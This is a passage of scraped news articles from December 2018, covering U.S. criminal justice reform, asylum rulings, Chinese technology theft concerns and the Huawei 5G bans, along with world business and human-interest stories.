caravan is giving a false impression of the migrants demographic composition. For her asylum application, Meza cites gang violence as the reason she is unable to return home. However, gang violence is not a valid basis to be granted asylum in the United States. According to Nielsen, historically, 90 percent of migrants from Central America have not been eligible for asylum. From NTD News House Passes Landmark Criminal Justice Reform Bill The House of Representatives on Dec. 20, passed a sweeping criminal justice reform bill in a rare display of bipartisan unity. The landmark measure, dubbed the First Step Act, will be sent to President Donald Trumps desk for his signature after it passed overwhelmingly by a vote of 358 to 36. The bill would help federal inmates readjust to society after completing their sentences, addressing concerns that too many Americans have been imprisoned for nonviolent crimes, without support later on. Trump has been a major backer of the bill. Earlier, the Senate approved the legislation with a similar show of support by a vote of 87 to12. The act (pdf), co-sponsored by more than a third of the Senate, has evenly balanced support among both Democrats and Republicans. Trump hailed the bipartisan efforts that pushed the bill through. Congress just passed the Criminal Justice Reform Bill known as the # FirstStepAct. Congratulations! he wrote on Twitter. This is a great bi-partisan achievement for everybody. When both parties work together we can keep our Country safer. A wonderful thing for the U.S.A.!! Congress just passed the Criminal Justice Reform Bill known as the #FirstStepAct. Congratulations! This is a great bi-partisan achievement for everybody. When both parties work together we can keep our Country safer. A wonderful thing for the U.S.A.!! Donald J. Trump (@realDonaldTrump) December 20, 2018 The measure would primarily affect drug offenders and aims to make the criminal justice system fairer, reduce overcrowding, and save taxpayer dollars. It would also adjust certain mandatory minimum sentences and give judges more leeway in the sentencing of offenders for nonviolent crimes. The act, years in the making, represents an easing of tough, law-and-order minimal sentencing requirements imposed on judges that stemmed from a 1980s drive to clamp down on an epidemic of crack cocaine and other illegal drug use in the United States. One of the leading sponsors of the effort Rep. Doug Collins (R-Ga.), said the act would help to lower the nations high incarceration numbers. The legislation also expands on programs that reduce the recidivism risks of prisoners, such as job training programs. The FIRST STEP Act is not the end. Its not even the beginning of the end, Collins said in a statement. Its simply the end of the beginning of a bipartisan journey to eradicate the mass incarceration epidemic in America. The bills passage comes after years of overhaul efforts from a number of liberal and conservative advocacy groups, civil right advocates, and from Trumps son-in-law, Jared Kushner who has been a major advocate of prison reform. Conservatives and liberals in Congress worked in an uncharacteristically bipartisan fashion to pass the bill, which would apply only to the 180,789 people in federal prisons and future inmates, and not to the more than 2 million who are housed in state penitentiaries, the Associated Press reported. These changes recognize the fundamental unfairness of a system that imposes lengthy imprisonment that is not based on the facts and circumstances of each offender and each case, Democratic Representative Jerrold Nadler said during the House debate. Under the bill, maximum penalties are maintained for violent felons and drug kingpins. But mandatory minimum penalties are reduced for others by giving judges expanded discretion when handing down sentences. And prisoners can earn time credits toward their release to halfway houses or home confinement. Almost half of federal inmates released from prison are rearrested, & nearly a fourth end up back behind bars. The # FirstStepAct will help to end the recidivism epidemic by creating programs to rehabilitate low-risk offenders, making our communities safer & saving taxpayer money, Senator Susan Collins (R-Maine) wrote on Twitter. Vice President Mike Pence called the prison reform act a win for the American people and congratulated both the House and Senate. Trumps daughter Ivanka Trump called it a Christmas miracle years in the making! on Twitter, adding that the presidents signature was forthcoming. Reuters contributed to this report. Expat Recruitment Plan Aids Beijings Strategy of Stealing US Technology The Chinese regimes expat recruitment plan has raised national security concerns in the United States due to its role in the theft of U.S. intellectual property and other technology-related secrets. The Thousand Talents Plan focuses on bringing Chinese students and researchers working abroad back to China. It has recruited at least 6,000 people since 2008. According to a recent report by the U.S. National Institutes of Health (NIH), the aims of the program fit with the Chinese regimes model of tech development, which can be summarized as rob, replicate, replace. In the report, NIH expressed concerns that Thousand Talents recruits had access to American intellectual property and that they transfer key dataproduced using U.S. federal research moneyto China. The introduction on the official website of the program confirms the concerns raised by the NIH. It states that the program aims to recruit people under the age of 55 who have earned doctorates from prestigious overseas universities. In addition, the recruits should have full professorships or the equivalent in prestigious foreign universities and R&D institutes, have senior titles from well-known international companies or financial institutions, own intellectual property or core technologies, possess overseas independent entrepreneurial experience, or be familiar with relevant industrial fields and international rules. Their technologies or invention patents shall be in the leading position by international standard, filling the gap in China, in line of national strategic direction of key industries with potential market which can be put into industrialized production, the Thousand Talents page reads. The NIH report gave several examples of alleged IP theft via Thousand Talents, including the case of Ruopeng Liu, a Chinese-American who worked at Duke University. Liu stole data from his professors project to create an invisibility cloak and brought it back to China to begin his own startup. Thousand Talents and Chinas Development Model The U.S. Assistant Attorney General for the National Security Division John Demers said at a Senate Judiciary Committee hearing on Dec. 12: The [Chinese regimes] playbook is simple: Rob, replicate, and replace. Rob the American company of its intellectual property. Replicate the technology. And replace the American company in the Chinese market and one day in the global market. U.S.-based China affairs commentator Tang Jingyuan told The Epoch Times on Dec. 18: Most of the recruits of the Thousand Talents Program are naturalized Americans, [meaning that] they betray their own country by stealing advanced and unique American technologies and giving them China, a rival of the United States. Then they use these technologies in Chinese industry and sell the products overseas. Tang said the Chinese Communist Party (CCP) hacks and steals technology from all around the world as a form of legal robbery, as well as forcing the transfer of technology from foreign companies operating in China. Thousand Talents gives the CCP a roundabout method of acquiring advanced know-how. FBIs top counterintelligence official, FBI Assistant Director Bill Priestap, told senators on Dec. 12 about the cyberespionage threat from China. I believe this is the most severe counterintelligence threat facing our nation today, Priestap said. What hangs in the balance is not just the future of the U.S., but the future of the world. Priestap said that awareness of this threat is lacking in U.S. society. Speaking of a meeting he had with business leaders in three states, he said: On the one hand, I was amazed at some of those business leaders understanding of the way the threat is working today. On the other hand, with different business leaders, I was amazed at the lack of understanding of the gravity, capabilities, methodologies of China. Huawei and 5G: To Ban or Not to Ban Where Canada and 8 other countries are at Amid increasing scrutiny of Chinese telecommunications giant Huawei and growing cyberintelligence concerns, many countries are pondering whetheror how muchto involve the company in developing their 5G networks. Canada still hasnt decided. Public Safety Minister Ralph Goodale said this week that reports that Ottawa will ban Huawei from its 5G network are speculation. The Sydney Morning Herald reported that the federal government would soon be announcing a formal ban on Huawei as well Chinese telecommunications equipment maker ZTE. But Goodale dismissed that in an interview with CBC Radio, calling it speculation and saying the government has not arrived at a conclusion. Canada is the only member of the Five Eyes intelligence alliance to not ban Huawei in some form, either through the government or through major telecommunication companies. Five Eyes is an intelligence alliance between the United States, United Kingdom, New Zealand, Australia, and Canada. Members share intelligence to combat terrorism, espionage, and global crime. Prime Minister Justin Trudeau has been briefed twice by Five Eyes spy chiefs on the national security risk posed by Huawei, according to the Globe and Mail. Canadian national security agencies are reportedly working on reviewing whether the companys equipment represents a national security risk, though the government has yet to say when the review will be completed. Huawei announced on Dec. 18 that it had 25 commercial contracts for 5G. It also announced plans to spend $2 billion on cybersecurity over the next five years. The company, which is the largest telecommunications equipment maker in the world, is seen as a security risk due to its close ties with the Chinese communist regime. Its founder and CEO Ren Zhengfei is a former Peoples Liberation Army member, and Chinas 2017 National Intelligence Law requires corporations, organizations, and citizens to aid in Chinese intelligence work when required to. Concerns have increased since the arrest of Huawei CFO Wanzhou Meng on charges of fraud related to U.S. sanctions on Iran, as more information has emerged on the companys deep involvement with the Beijing regimes strategic goals both in China and overseas. 8 Other Countries and Where They Stand United States The United States has banned Huawei and Chinese technology from being used in the country, and Washington has repeatedly called on its allies and nations around the world to follow suit. In August, President Donald Trump signed the Defense Authorization Act, which banned U.S. government agencies from using or purchasing equipment from a number of Chinese companiesit specifically named Huawei Technologies Company and ZTE Corporation. Huawei has already been banned from bidding on U.S. government contracts since 2014. U.S. senators Marco Rubio and Mark Warner have both urged Trudeau to consider dropping Huawei from being involved in building Canadas next-generation 5G telecommunications network. While Canada has strong telecommunications security safeguards in place, we have serious concerns that such safeguards are inadequate given what the United States and other allies know about Huawei, the lawmakers wrote in the letter to Trudeau. Warner and Rubio are on the Senate Select Committee on Intelligence. In a senate hearing earlier this year, six major U.S. intelligence headsincluding the FBI, CIA, and NSAwarned Americans against using products and services from Huawei, which is the second largest smartphone maker in the world. Were deeply concerned about the risks of allowing any company or entity that is beholden to foreign governments that dont share our values to gain positions of power inside our telecommunications networks, FBI Director Chris Wray testified. Australia On Aug. 22, Australia banned Huawei and ZTE from providing 5G technology for the countrys 5G network, citing national security risks. While the initial statement did not specify the company by name, an Australian government official said the order was aimed at Huawei, according to Reuters. The original statement said national security regulations typically applied to telecom carriers would be extended to equipment suppliers. Firms who are likely to be subject to extrajudicial directions from a foreign government would leave the nations network vulnerable to unauthorized access or interference, and presented a security risk, Reuters said. Huawei is already a supplier of Australias 4G network but, as a high-risk vendor, was shut out of its core network. However, in a 5G network, a potential threat anywhere in the network will be a threat to the whole network, said Australian Signals Directorate Mike Burgess at the Australian Strategic Policy Institute in October. New Zealand After Austalia, New Zealand became the next Five Eyes member to issue a ban against Huawei in November, citing significant network security risk. New Zealand barred telecom company Spark from using Huaweis network equipment for its 5G network. The Government Communications Security Bureau blocked the request on the grounds that on a 5G network, it is harder to confine high risk vendors to a less sensitive part of the network. The difference between 5G networks and conventional 4G and 3G networks is the configuration of the technology, Little said. With 5G technology, every component of the 5G network means every part of the network can be accessed. United Kingdom While the U.K. has not formally issued a ban against Huawei equipment from being used in its 5G network, the nations largest telecommunications company BT said earlier this month that it would not use Huawei for its upcoming 5G network, and it would also remove the company from the core of its existing 4G and 3G networks. The Huawei Cyber Security Evaluation Centre, which monitors Britains use of Huawei technology, said in a report from earlier this year that they could give limited assurance that Huawei posed no threat to national security. The centre was opened to mitigate perceived risks arising from the involvement of Huawei in parts of the UKs critical national infrastructure. Japan Earlier this month, Japan joined other nations in banning government purchases of telecommunications equipment from Huawei and ZTE, though they were not explicitly named. The guidelines are reportedly designed to prevent leaks of sensitive information. The new rules will take effect sometime in the new year. France France has not explicitly banned Huawei, though the government has pushed for tighter regulations, according to a Bloomberg News article. Frances largest telecommunications company Orange SA has said it will not use Huaweis technology in its national 5G network, though it has not commented on whether it would use Huawei technology in foreign markets. Germany Senior German officials are planning to try and convince the government to exclude Chinese firms like Huawei from being allowed to build the countrys 5G network amid security concerns, reports Reuters. Germany is preparing to auction its 5G frequencies for 5G wireless networks in spring 2019, and three of its largest telecom companies continue to work with Huawei equipment in building 5G networks. Germanys Deutsche Telekom recently announced it would review its vendor strategy amid growing concerns around Huawei, though it has been working with Huawei in its 5G network trials. Der Spiegel reported that Germanys Federal Office for Information Security found no proof that Huaweis network infrastructure was any more or less secure than its competitors, and its president said evidence is needed before they would recommend a ban. India The Indian government recently invited Huawei to do 5G trials in the country, according to the Times of India. While initially not included, the government extended the invitation after protests from Huawei. Other invitees include Nokia, Ericsson, and Samsung. Amid global security concerns, the government is planning to hold consultations on the use of Huaweis equipment in field trials for 5G technology. The Huawei logo is seen on a Huawei office building in Dongguan, Guangdong Province, China on Dec. 18, 2018. (Nicolas Asfouri/ AFP/Getty Images) Huawei Launches PR Campaign to Allay Security Concerns, Criticism of Ties to Beijing Chinese telecom giant Huawei, already beleaguered by growing concerns that security loopholes in its products could expose Western governments and consumers to espionage by Beijing, recently received further scrutiny with the arrest of its chief financial officer, Meng Wanzhou. Meng was arrested in Canada earlier this month at the request of U.S. authorities for allegedly skirting U.S. sanctions on Iran. The United States seeks her extradition to face trial. The case has escalated into a diplomatic row after the Chinese regime detained three Canadian citizens working in China, apparently in retaliation for Mengs arrest. To battle the negative press and ease international concerns about the risks of doing business with Huawei, the company recently invited about two dozen journalists from international media outlets for a press conference at its headquarters in the manufacturing hub of Shenzhen City, Guangdong Province. For a company known for its opaque ownership and secrecy, it was a rare sight to have CEO Ken Hu address the crowd of international journalists on Dec. 18, which included staff from Bloomberg, The Associated Press, The New York Times, The Wall Street Journal, and South Korean newspaper Joong Ang Daily. The newspaper reported that Hu tried hard to allay concerns about Huaweis close ties to the Chinese regime. He claimed that Huawei is not an industrial organization connected to the Chinese government, but is a technology company, read the Joong Ang Daily report. He added, We have never received any requests from the Chinese government. In fact, the companys founder, Ren Zhengfei, is a former military officer. The tech firm developed core technology used in Chinas internet censorship apparatus; counts numerous local government entities as its clients, including for the companys artificial-intelligence-enhanced video surveillance technology; and outfits the Chinese military with telecom equipment. Chinas national laws also require all citizens and organizations to assist with national intelligence work and keep the intelligence-gathering secret. Meanwhile, Chinas mass surveillance system has drawn criticism from experts about its invasive monitoring of citizens. At the press conference, Hu claimed that there was no documented example of Huaweis security risks, and urged the public to provide such evidence. Without factual evidence, we dont accept and we oppose those allegations, he said, according to a Reuters report. In the UK, where Huawei has a strong presence in the countrys telecom infrastructure, authorities specifically tasked with assessing the companys security risks warned earlier this year that Huawei products had critical shortfalls. Australian media also recently cited national security sources who had evidence of Huawei executives being pressured by Beijing to disclose access codes, in order to help authorities infiltrate a foreign network. Hu tried to ease fears by announcing that Huawei would spend $2 billion over the next five years to focus on cybersecurity measures. He also tried to portray Huawei as a reliable company that has secured many deals for its 5G mobile technology, announcing that it has over 25 commercial contracts for 5G, and has shipped over 10,000 5G base stations. But many countries have already partially or fully shut out Huawei due to national security concerns, including the United States, Australia, New Zealand, Japan, South Korea, India, and the United Kingdom. About Mengs arrest, Hu said the case has had no impact on travel plans of the companys senior executives. He also expressed that Huawei still has intentions to break into the U.S. market. Reuters contributed to this report. Huawei Supplying Major Chinese Cities and Regions with Mass Surveillance Tech The content is not available due to expiration. A security ship crew of Ministry of Maritime Affairs and Fisheries prepares to anchor in Natuna during a security patrols along Indonesia's Exclusive Economic Zone (EEZ) in Natuna, Ranai, Indonesia on Aug. 16, 2016. (Ulet Ifansasti/Getty Images) Indonesia Opens Military Base Near Disputed South China Sea to Deter Threats Indonesia has opened a military base on the southern edge of the South China Sea, in territorial waters claimed by China and several other countries. The base was opened Dec. 18 on the remote island of Natuna Besar, part of the Natuna Islandsone of Indonesias northernmost areas, located between the Malay Peninsula and the island of Borneo. Indonesian Defense Force chief, Marshal Hadi Tjahjanto, said in a speech at the military base that the outpost is to act as a deterrent against any potential security threats, particularly at the border areas, Kyodo News reported. Indonesia does not accept Beijings claims over the South China Sea which include part of the resource-rich waters surrounding the islands. The waters off the Natuna Islands is home to fishing and natural gas reserves, which Indonesia says it owns. Maritime Clashes The two countries have had minor skirmishes in the area over the years, including three incidents in 2016 where Chinese fishing boats were caught by Indonesian patrol boats for illegally fishing within the countrys exclusive economic zone (EEZ) in the Natuna Sea. In one case, Indonesian authorities detained a 300-ton Chinese fishing vessel. But it was released hours later when a Chinese coast guard vessel rammed the boat, forcing it free. At that time, Beijing said the fishermen were engaging in normal activities in traditional Chinese fishing grounds. Indonesian president Joko Jokowi Widodo said on Dec. 19 that the country would defend its sovereignty over the Natuna Islands, an area home to almost 170,000 Indonesians. If you want us to fight, together we will do it, he said. The base currently stations a few hundred military personnel, and will be equipped with a surface-to-air missile defense system, the Indonesian military said, according to Benar News. The military also flagged the development of additional bases in other strategic islands, Kyodo reported. Dispute with Beijing In 2017, Indonesia issued an updated national map in which the waters within the countrys EEZ to the north of the Natuna Islands was renamed the North Nortuna Sea. The area was previously labeled as being part of the South China Sea. This update builds upon a 2002 name change, in which Indonesia renamed waters to the south of the Natuna Islands within the countrys EEZ the Nortuna Sea. China, following the 2017 name change, objected to the idea, saying it led to a complication and expansion of the dispute, and affects peace and stability, and harmed relations between Jakarta and Beijing. Indonesia, however, maintained that it had the right to name waters that fall within its territory, which included the North Nortuna Sea. China has overlapping claims over the South China Seahome to one of the worlds major shipping routeswith the Philippines, Vietnam, Malaysia, and Brunei, as well as Taiwan. Indonesia does not have claims over the sea. Border Patrol Agents have aliens remove their shoelaces and belongings before loading them in a van for transport in Hidalgo County, Texas, on May 26, 2017. (Benjamin Chasteen/The Epoch Times) Judge Rules Against Trumps Asylum Reforms, Says Deportees Should Be Returned A federal judge ruled this week that President Donald Trumps asylum reforms violated federal law despite the reforms only taking the rules on asylum back to where they were before former President Barack Obamas time in office. The ruling by Bill Clinton-appointed U.S. District Judge Emmet Sullivan came on Dec. 19, just a day after he had to walk back accusations he made while presiding over a hearing for former Trump adviser Michael Flynn. The rules Sullivan derided as violations of federal law dealt with credible fear, the criteria that the United States uses to determine if refugees should be granted asylum. The Court holds that it has jurisdiction to hear plaintiffs challenges to the credible fear policies, that it has the authority to order the injunctive relief, and that, with the exception of two policies, the new credible fear policies are arbitrary, capricious, and in violation of the immigration laws, he wrote in his ruling. Sullivan claimed that not only was the administration wrong in revising the rules on credible fear, but officials should return people who were deported under the revised rules. The White House slammed the ruling. Today, a court has, once again, overridden and undermined United States immigration law. Under the law, asylum is a discretionary benefit for aliens who have a well-founded fear of persecution on account of their race, religion, nationality, political opinion, or membership in a particular social group. Todays ruling will further overwhelm our immigration courts with meritless cases, making the existing massive backlog even worse, said Sarah Sanders, press secretary, in a statement. It will also encourage more illegal immigration to the United States, to the benefit of ruthless smuggling organizations that too often victimize young women and children. More than 800,000 asylum-seekers are already in the United States awaiting adjudication of their claims. The immigration court system is so bogged down that it will take at least seven years to clear the existing claims, even if no new ones are added. Todays ruling is only the latest example of judicial activism that encourages migrants to take dangerous risks; empowers criminal organizations that spread turmoil in our hemisphere; and undermines the laws, borders, Constitution, and sovereignty of the United States. We will continue to fight for the rule of law and against these reckless rulings, she added. The ruling came on the same day that U.S. District Judge Jon Tigar extended a ban on Trumps attempt to revise another portion of immigration policy. In early November, Trump said in an executive order that aliens who entered the United States outside official ports of entries would not be eligible for asylum. Tigar ruled on Nov. 20 that the order was outside of the presidents authority. Tigar has since twice extended a temporary ban on enforcing the order until the court case is resolved. Trump has said that these rulings on immigration will be overturned by the Supreme Court. Background In July, then-Attorney General Jeff Sessions restored the definition of credible fear, or the acceptable conditions for refugees claiming asylum, to where it was before the Obama administration broadened it in 2014. Under the revised criteria, foreigners who were fleeing domestic abuse or local criminal activity were not eligible for asylum. Asylum seekers have always needed to prove that they have suffered past persecution or have a well-founded fear of future persecution in their home country due to their race, religion, nationality, political opinion, or membership in a particular social group. But persecution is generally considered state-sanctioned or condoned, which means the government of the aliens home country is the sponsor of the persecution. For example, in North Korea, the regime itself persecutes Christians. In the case of domestic violence, where the persecutor is a private actor, applicants must show that their home government either condoned the private behavior or demonstrated a complete helplessness to protect them, the Department of Homeland Security said. It is not enough to simply show that the government has difficulty controlling the behavior or that certain populations are more likely to be victims of crime. From NTD News The lobby of the Ritz Carlton hotel in the Saudi capital Riyadh is seen on Oct. 24, 2018, where the Investment Initiative FII summit is taking place. (Giuseppe Cacace/AFP/Getty Images) Little Room to Maneuver as Saudi Slows Drive to Cut Deficit DUBAI, U.A.E.Saudi Arabia is slowing a drive to cut its huge fiscal deficit in order to revive the economy, but the state budget plan for 2019 suggests it may not have room to boost growth by much. With unemployment among Saudis at a record 12.9 percent, creating jobs is becoming increasingly important to justify reforms launched over two years ago by Crown Prince Mohammed bin Salman, who aims to diversify the economy beyond oil exports. The 2019 budget, released on Dec. 18, reflected that. It promised a 7 percent increase in spending, which officials said would lift growth in the non-oil part of the economy and start bringing down unemployment from next year. But even that moderate rise in spending will come at a major cost, the budget plan showed: a dramatic reduction in the pace at which Riyadh shrinks the deficit, which it has pledged to eliminate entirely by 2023. For three yearsever since Riyadh ran an eye-popping deficit of 367 billion riyals ($98 billion) in 2015, or about 15 percent of gross domestic product, threatening its financial stabilityfiscal policy focused to a large extent on reassuring markets by cutting the deficit. The finance ministry said on Dec. 18 that the deficit shrank to 136 billion riyals or an estimated 4.6 percent of GDP this year, from 230 billion riyals in 2017. The 2019 budget, however, projected the deficit would shrink only marginally to 131 billion riyals or 4.2 percent of GDP next year. Many private analysts said the budgets spending and revenue numbers implied the deficit would actually rise. Bilal Khan, senior regional economist at Standard Chartered, predicted a deficit of 5 percent in 2019 and Monica Malik, chief economist at Abu Dhabi Commercial Bank, forecast over 7 percent. Jason Tuvey, senior emerging markets economist at Capital Economics, estimated that if oil prices did not rebound from current levels, the deficit would near 10 percent in 2019a figure that Saudi Arabia could not sustain in the long run. That would leave Riyadh in danger of missing the 2023 target for eliminating the deficit by a wide margin, which could revive markets concern about the health of Saudi finances, or of being pressured into drastic austerity steps between 2020 and 2023 in order to hit the target. For these reasons, Saudi Arabias room to pursue a go-for-growth fiscal policy is limited, and it will not be able to abandon austerity steps entirely next year, economists said. This could keep expansion of the non-oil sector sluggish. While there may be some fiscal loosening in the first half of next year, we think that austerity will probably resume in the second half of 2019, Tuvey said. Target The non-oil part of the economy grew just 2.3 percent in 2018, far too slowly to have much of an impact in cutting unemployment in a country where the population of Saudi citizens is expanding at an annual rate of close to 2 percent. Riyadh originally set a 2020 date for balancing its budget, pushing that back to 2023 a year ago as the economy struggled. In recent months, officials have not abandoned the 2023 deadline but they have sought to soften its significance. In late October, after much planning for the 2019 budget was completed, Finance Minister Mohammed al-Jadaan told Reuters that while Riyadh would balance its budgets over the medium term, it would accept some deficits after 2023 if they were needed to spur the economy. In post-budget news conferences on Dec. 18, senior officials said they remained committed to fiscal balance but did not specifically mention 2023. Some aspects of the budget indicated key austerity policies would go ahead, however. Jadaan said Riyadh had no intention of changing policy towards fees that it charges for hiring expatriates and issuing residence permits to their dependents. The fees are due to rise next year, increasing financial pressure on the private sector, which had lobbied for the rises to be delayed. Also, officials declined to rule out on Dec. 18 the possibility of further hikes in domestic fuel prices. Under previously announced policy, domestic prices of fuels including gasoline, diesel, and kerosene may be raised in 2019. Domestic fuel price rises may be the only way that Riyadh can achieve a projection in its 2019 budget for oil revenues to rise 9 percent to 662 billion riyals, as many economists think international oil prices are unlikely to rise much if at all. By Andrew Torchia A sign is displayed in the reception of the Sydney offices of Goldman Sachs in Australia, May 18, 2016. (David Gray/Reuters) Malaysia Charges Another Ex-Goldman Sachs Banker Over 1MDB KUALA LUMPURMalaysia on Dec. 19 charged a second former banker at Goldman Sachs Group Inc. in connection with a suspected money-laundering scheme at state fund 1MDB and said it had issued a summons to the bank. Malaysia this week filed charges against Goldman Sachs in connection with its role as underwriter and arranger of bond sales that raised $6.5 billion for 1MDB, the first criminal action against the bank over 1MDB. Tim Leissner, a former partner for Goldman Sachs in Asia, was also charged this week. Goldman Sachs has consistently denied wrongdoing and on Dec. 17 said certain members of the former Malaysian government and 1MDB lied to the bank about the proceeds of the bond sales. The U.S. Justice Department has estimated that a total of $4.5 billion was misappropriated by high-level 1MDB fund officials and their associates between 2009 and 2014, including some of the funds that Goldman Sachs helped raise. On Dec. 17, Malaysian prosecutors charged the second former Goldman banker, Roger Ng, a Malaysian, with four counts of abetting the bank to provide misleading statements in the offering prospectus for the bonds that the bank helped sell for 1MDB. Ng, who appeared in court to hear the charges, pleaded not guilty to all of them. The case will be heard next on March 18, with prosecutor Manoj Kurup saying he needed time to ensure the attendance of Goldman Sachs. They did the principal offense that he abetted. So they must have a chance to defend themselves too, Kurup told reporters after the court hearing. We already have a summons against Goldman Sachs, but because theyre outside Malaysia, it takes time to do the legal process. Kurup did not elaborate when reporters asked which Goldman Sachs officials would be summoned. He said Malaysia would be considering mutual legal arrangements with other countries. A Goldman Sachs spokesman said none of the Goldman Sachs entities named in the Malaysia charges had received any summons. In the charge sheets, Malaysia alleged that three units of Goldman Sachs made untrue statements and omitted key facts in offering circulars for the bonds on the 1MDB management and use of proceeds. Leissner, Malaysian financier Jho Low and a former 1MDB official Jasmine Loo were charged with abetting the bank to commit the offense. Leissner and Ng were charged by the U.S. Justice Department on Nov. 1. Leissner pleaded guilty to conspiracy to launder money and conspiracy to violate the Foreign Corrupt Practices Act, and has agreed to forfeit $43.7 million. Singapores central bank on Dec. 17 said it had issued a lifetime prohibition order against Leissner. Malaysia had said Ng would be extradited to the United States to face the charges there, but it was unclear how the new charges against Ng would affect that process. Before Ng was charged on Dec. 17 prosecutors filed an application in a Kuala Lumpur court to extradite him. The extradition case will be heard on Jan. 4. By Rozanna Latiff Richard Anthony Jones (pictured right) and the lookalike image that overturned his conviction (left). (Kansas City Police Department) Man Jailed for 17 Years Gets $1 Million After Lookalike Photo Overturns Conviction Kansas state will hand $1.1 million to a wrongly-convicted man who spent 17 years in prison for a robbery he says was committed by a doppelganger. The settlement on Dec. 18 is the first to be given under a new law in Kansas. Richard Jones, 42, was convicted for aggravated robbery in 2000 on the strength of eye-witness testimony that picked him out as the perpetrator. He always insisted on his innocence. After almost 17 years in jail he was released in 2017, following the emergence of images of a local lookalike who even shared his first name. We are committed to faithfully administering the new mistaken-conviction statute the legislature enacted, Attorney General Derek Schmidt Schmidt said in a statement. In this case, it was possible on the existing record to resolve all issues quickly, satisfy all of the statutes requirements, and agree to this outcome so Mr. Jones can receive the benefits to which he is entitled by law because he was mistakenly convicted. Jones had two young daughters, a one year-old and a baby just a few months old, when he was first detained. He was wrongly identified as being one of the perpetrators of a robbery in 1999 at a Walmart parking lot in Kansas City. A woman had her phone stolen by three assailants during an attempted purse-snatching that resulted in her scraping her knee. Jones said all along he was at homeacross the state line in Missouriduring the robbery. There was no evidence, fingerprints, or other kinds of evidence that linked him to the robbery. Prosecutors used eyewitnesses to obtain a conviction against him. He was sentenced to 19 years. One of the Most Bizarre Scenarios that Ive Seen He appealed at every chance in the legal process. A campaign by supporters to prove his innocence eventually unearthed an image of a man who lived near the Walmart where the robbery occurred at the time, who bore a remarkable resemblance to Jones. This has been one of the most bizarre scenarios that Ive seen in my 27 years of prosecuting cases, Johnson County District Attorney Steve Howe said during the 2017 hearing that overturned the conviction. The remarkable resemblance in the picture not only helped overturn his conviction, but also helped Jones to understand how fate had conspired to put him in jail for so long. When I saw that picture, it just made sense to me, Jones told the Kansas City Star. They say you cant see the picture clearly if you [are] in it, but if I was outside this picture I would have seen the same thing. We were floored by how much they looked alike, Joness lawyer Alice Craig said about seeing his photo alongside the photo of another man known as Ricky. Its not clear what the man was locked up for. The New York Post reported that the other suspects name is Ricky Amos, and he used to live with his mother in Kansas City. By law, payment on the judgment is subject to review by the Kansas State Finance Council. Schmidt has formally asked the Finance Council to review the matter promptly so payment can begin. Two other lawsuits have been filed under the new mistaken-conviction statute. Aerial view of the construction site of Mexico City's new airport, in Texcoco, Mexico, on November 6, 2018. (Photo by PEDRO PARDO / AFP) (Photo credit should read PEDRO PARDO/AFP/Getty Images) Mexican Peso Rallies as Lopez Obrador Resolves Airport Bond Dispute The Mexican peso climbed as investors grew confident that President Andres Manuel Lopez Obrador will solve a standoff with airport bondholders that had roiled markets. The peso gained 1.2 percent to a six-week high on Dec. 20 after news that a majority of bondholders accepted Mexicos offer to buy back $1.8 billion in debt used to fund the construction of an international airport that Lopez Obrador has said hell cancel. Closing a deal was seen as key to investors as the deadlock had been pressuring Mexican markets since the Lopez Obrador administration decided to dismantle the $13 billion airport project following a public consultation in late October. Bondholders had initially rejected the deal until the Finance Ministry sweetened the offer last week. According to the Finance Ministry, this time there was overwhelming acceptance by bondholders, which will allow the government to avoid a mandatory repayment of all $6 billion in bonds that would have been triggered by the cancellation of the airport. It is a step in the right direction, said Jan Dehn, the head of research at Ashmore Group Plc in London. Lopez Obrador had a poor start in terms of creating confidence. He did not appear to show leadership on key issues, but after the budget and now this airport bond dispute he is winning back some trust. While the deal was a major victory for the new administration as it wards off a potentially nasty battle with bondholders, it comes at a steep price. The government will now spend $1.8 billionan amount which came from an existing trust for the airports constructionin an expensive buyback. There is no indication of what will be done with the partially-completed project in Texcoco, which as of now has zero value. The improved offer, capped at $1.8 billion of $6 billion outstanding, includes a buyback price of par plus accrued and unpaid interest. It was oversubscribed in all four of the bond series outstanding, according to a person familiar with the transaction, who asked not to be named as he is not authorized to speak publicly on the matter. Over 70 percent of bondholders participated in the consent, according to the person. In a Dec. 20 press conference, the new president said that the bond deal cleared the way for development of nearby military airport Santa Lucia, which will serve as a second airport hub for Mexico City. He said the next steps would be to deal with holders of a Fibra Ea REIT-like instrument unique to Mexicoand contractors for the Texcoco project. This was because of a responsible attitude from investors, and for us it means the fulfilment of all our promises. It was very good, Lopez Obrador told reporters. Now comes the Fibra and a deal with the contractors, but this was the most complicated part. Referendum, Fallback Lopez Obrador scrapped the project after a widely-criticized referendum organized by his own party. Situated in the Mexico City suburb of Texcoco, northeast of the capital, the new airport was slated to replace the cramped and aging Benito Juarez International Airport, Latin Americas busiest last year. The airport became a lightning rod during this years presidential campaign as Lopez Obrador vowed to cancel the project thats more than a third of the way to completion. Now, the administration will stand by its proposal to add two runways to the Santa Lucia military base while upgrading the current airport in the neighboring city of Toluca. Construction at the Texcoco airport is continuing while Lopez Obradors team negotiates with creditors. While the market is taking the project as a positive sign, the repercussions of Lopez Obradors win may be felt further down the line. The president has now used public consultations on 11 proposals, including a Mayan train project and a new refinery in Lopez Obradors home state of Tabasco. Some investors worry that the win may only embolden the government. Its another step away from policy predictability, said Roger Horn, a senior emerging markets strategist at SMBC Nikko Securities America in New York. While its probably good that this issue is resolved, the unfortunate thing is that the government will take this as a big win, creating an incentive for them to throw their weight around with investors. In addition to the bonds, another $1.6 billion in funding came from an initial public offering of Fibra E sharesa hybrid between a master-limited partnership and a real estate investment trust. The Fibra E shares were bought mostly by billionaire Carlos Slims Operadora Inbursa through its pension fund. by Justin Villamil, Nacha Cattan, & Andrea Navarro From Bloomberg Michigan Mother Calls Police After Son Refused to Get Up and Go to School A mother in Michigan called the police after her son refused to get up and go to school. Crystal Towns of Grand Blanc Township said that her son thought he could get away with not getting up but she was determined to get him to school. He blamed his sister for not waking him up, and I had it. So I called the school resource officer to come pick him up. He wasnt bad, he just thought he was gonna not go to school again, Towns told WEYI. She called the school resource officer at her sons middle school, who arrived and took the boy with him back to school. I called [the officers] cell phone and he answered and he came and got him, came to the door, knocked then told him Im here to take you to school and you are riding in the backseat, Towns said. Zachary Towns, 14, said that he typically stays up late playing Fortnite. Im pretty lazy, cant lie, I like to sleep in, he said. He said he was surprised but not shocked that the police officer came to his house. I wasnt very shocked at all I was just like oh ok officer Dan. She does a lot of things like this. Shes one of those moms that will get on you, but my mom she could care less, he said. Crystal Towns said she would do it all over again. Canadian Girl Calls 911 A 9-year-old Canadian girl called 911 after her mother told her to clean her room. Ontario Provincial Police (OPP) in Ontario rushed to a house around 3:45 p.m. on Dec. 8, after the young girl called the emergency number but investigators soon 